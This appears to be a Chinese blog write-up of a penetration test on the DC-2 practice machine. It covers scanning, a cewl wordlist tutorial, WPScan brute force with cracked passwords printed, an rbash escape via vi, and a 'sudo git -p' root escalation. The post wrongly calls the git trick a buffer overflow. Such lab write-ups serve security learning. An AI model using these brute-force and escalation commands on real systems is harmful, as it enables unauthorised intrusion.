DC-2靶机渗透


title: DC-2靶机渗透详解
date: 2022-1-1 23 :38 :36
tags: DC系列靶机
categories: 学习笔记
author: Abyssaler


DC-2靶机渗透全流程

一:实验环境

kali攻击机:192.168.1.103

靶机:192.168.2.102

二:信息收集

主机发现:

arp-scan -l

image-20230101092120624

端口发现

masscan --rate=10000 -p 1-65535 192.168.2.102,以10000的速率扫描靶机的所有端口

image-20230101095351281

nmap -p 80,7744 -sV -A 192.168.2.102 ,对指定端口的服务做综合详细扫描

image-20230101095745597

网站信息探测

打不开192.168.2.108:80的原因:没有在本地设置hosts

本地hosts文件位置:C:\Windows\System32\drivers\etc

添加192.168.2.102 dc-2

然后用ipconfig /flushdns更新dns缓存

查询DNS缓存ipconfig /displaydns

DNS解析顺序 本地DNS缓存>hosts>DNS服务器

之后就能成功访问目标界面了

image-20230101204240126

利用Wappalyzer插件查看网站信息

image-20230101204402540

发现cms是wordpress

找到flag1

image-20230101204452510

目录扫描

dirsearch -u http://dc-2/ -e*

image-20230101223704224

三:渗透测试

通过flag1得知要用cewl工具收集网页信息生成密码破解口令字典

cewl

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。

https://www.freebuf.com/articles/network/190128.html

默认方法

输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:

cewl http://www.ignitetechnologies.in/

保存字典文件

为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用-w参数来将密码字典存储为text文件:

cewl http://www.ignitetechnologies.in/ -w dict.txt

我们可以使用下列命令查看密码字典是否存储成功,我们的存储路径为/root /dict.txt:

cat dict.txt

生成特定长度的字典

如果你想生成指定长度的密码字典,你可以使用-m选项来设置:

cewl http://www.ignitetechnologies.in/ -m 9

上述命令将生成长度至少为9位的密码,,Cewl对目标网站进行了爬取,并打印出了长度至少为9位的密码

从网站中获取Email

你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典:

cewl http://www.ignitetechnologies.in/ -n -e

此时,工具成功在网站中发现了一个Email地址

计算网站字典中重复的单词数量

如果你想要计算目标网站中某个词的重复出现次数,你可以使用-c选项来开启参数计算功能:

cewl http://www.ignitetechnologies.in/ -c

Cewl可以直接统计出目标网站中重复的单词数量

增加爬取深度

如果你想增加爬虫的爬取深度以生成更大的字典文件,你可以使用-d选项来指定爬取深度,默认的爬取深度为2:

cewl http://www.ignitetechnologies.in/ -d 3

提取调试信息

你可以使用–debug选项来开启调试模式,这样就可以查看网站爬取过程中出现的错误和元数据了:

cewl http://www.ignitetechnologies.in/ --debug

Verbose模式

为了扩展网站爬取结果,并获取更加完整的数据报告,你可以使用-v选项来进入verbose模式。该模式下,Cewl会导出目标网站的详细数据:

cewl http://www.ignitetechnologies.in/ -v

生成包含数字和字符的字典

如果你想生成包含数字和字符的字典文件,你可以在命令中使用–with-numbers选项:

cewl http://testphp.vulnweb.com/ --with-numbers

Cewl摘要/基础认证

如果目标网站需要进行页面登录认证的话,我们就要使用下列参数来绕过页面认证的限制:

–auth_type:                      Digest or basic.
–auth_user:                     Authentication username.
–auth_pass:                     Authentication password.
cewl http://192.168.1.105/dvwa/login.php --auth_type Digest --auth_user admin--auth_pass password -v

或者

cewl http://192.168.1.105/dvwa/login.php --auth_type basic --auth_user admin--auth_pass password -v

接收到的http响应码为200,并成功生成了字典

代理URL

如果目标网站设置了代理服务器的话,Cewl将无法使用默认命令来生成字典。此时你需要使用–proxy option选项来启用代理URL功能:

cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt http://192.168.1.103/wordpress/

使用cewl生成字典

cewl http://dc-2 -w de-2.txt

image-20230101215746028

wpscan

​ WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

https://www.freebuf.com/sectool/174663.html

https://blog.csdn.net/liver100day/article/details/117585795

扫描WordPress站点

我们可以使用–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。输入下列命令开始对服务器进行扫描:

wpscan --url http://dc-2

如果你不知道目标服务器的IP地址,你可以直接输入URL地址。

主题扫描

使用下列命令对主题进行扫描:

wpscan --url http://dc-2 --enumerate t

使用下列命令扫描主题中存在的漏洞:

wpscan --url http://dc-2 --enumerate vt

枚举用户信息

wpscan --url http://dc-2 -e u

插件扫描

插件可以扩展WordPress站点的功能,但很多插件中都存在安全漏洞,而这也会给攻击者提供可乘之机。

我们可以使用下列命令扫描WordPress站点中安装的插件:

wpscan --url http://dc-2 --enumerate p

接下来,我们可以使用下列命令来扫描目标插件中的安全漏洞:

wpscan --url http://dc-2 --enumerate vp

使用wpscan进行暴力破解

wpscan --url http://dc-2 -P /home/liver100day/桌面/dc2_passwords.txt -U /home/liver100day/桌面/dc2_username.txt

命令集合

wpscan --url http://dc-2 --enumerate vp,vt,tt,u

用wpscan收集用户信息

wpscan --url http://dc-2 -e u枚举用户信息

image-20230101222437770

生成用户名字典

cat >> dc-2-u.txt << end

image-20230101222650216

对http用户进行暴力破解

wpscan --url http://dc-2 -P dc-2.txt

image-20230101223247473

破解成功

| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

利用用户信息进行登录

image-20230101223831014

找到flag2

image-20230101223907223

利用破解的账号尝试登录系统

有时候一些程序用户很可能是系统用户

利用ssh进行登录

ssh -p 7744 tom@192.168.2.102

ssh -p 7744 jerry@192.168.2.102

image-20230101224554932

image-20230101224633451

成功登录tom

发现flag3,但是同时发现很多指令不能使用

image-20230101224822005

rbash逃逸

一些参考文章

https://xz.aliyun.com/t/7642

https://blog.csdn.net/qq_43168364/article/details/111830233

查看路径搜索变量PATH

echo $PATH

image-20230101225552725

查看还有哪些命令能用

ls /home/tom/usr/bin

image-20230101225740335

用vi打开flag3

vi flag3.txt

image-20230101225853234

打开后输入冒号,在vi编辑器的底部输入逃逸命令!/bin/sh

image-20230101233844408

但是我们直接输会遇到限制,过滤了/

image-20230101233750713

转变思路,用set设置环境变量

:set shell=/bin/sh通过set方式设置一个变量,把shell赋值给这个变量

:shell

image-20230101234309083

image-20230101234418711

image-20230101234355665

成功绕过

这里补充下正常Linux进入shell命令行的方法,直接输入/bin/sh

image-20230101233408846

此时发现很多命令仍然不能使用

image-20230101234637840

但可以发现此时提示的是命令没有找到,而不是权限不够,证明我们是能够使用这些命令的,只要路径正确

image-20230101234929746

路径搜索变量PATH变量是Linux系统存储可执行文件搜索路径的地方,等价于Windows系统的Path变量

echo $PATH

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games 把变量输出为全局变量

image-20230101235601040

此时就能正常使用命令了

image-20230101235756656

切换到jerry用户

su - jerry

image-20230102000344691

发现jerry只是个普通用户,想办法提权

先找到flag4

image-20230102000545562

通过提示知道了要用git提权

通过sudo -l查看可利用的指令

发现可以用root权限执行git

image-20230102001721242

利用git提权

这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。

sudo git -p

之后输入

!/bin/bash

这个-p的意思就是以分页的形式展示git的帮助信息,但是这里他会默认调用more来进行展示

参考之前的rbash逃逸

image-20230102002931827

或者

sudo git help config

在末行命令模式输入

!/bin/bash 或 !'sh'

完成提权

拿到最终flag

image-20230102003235295

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值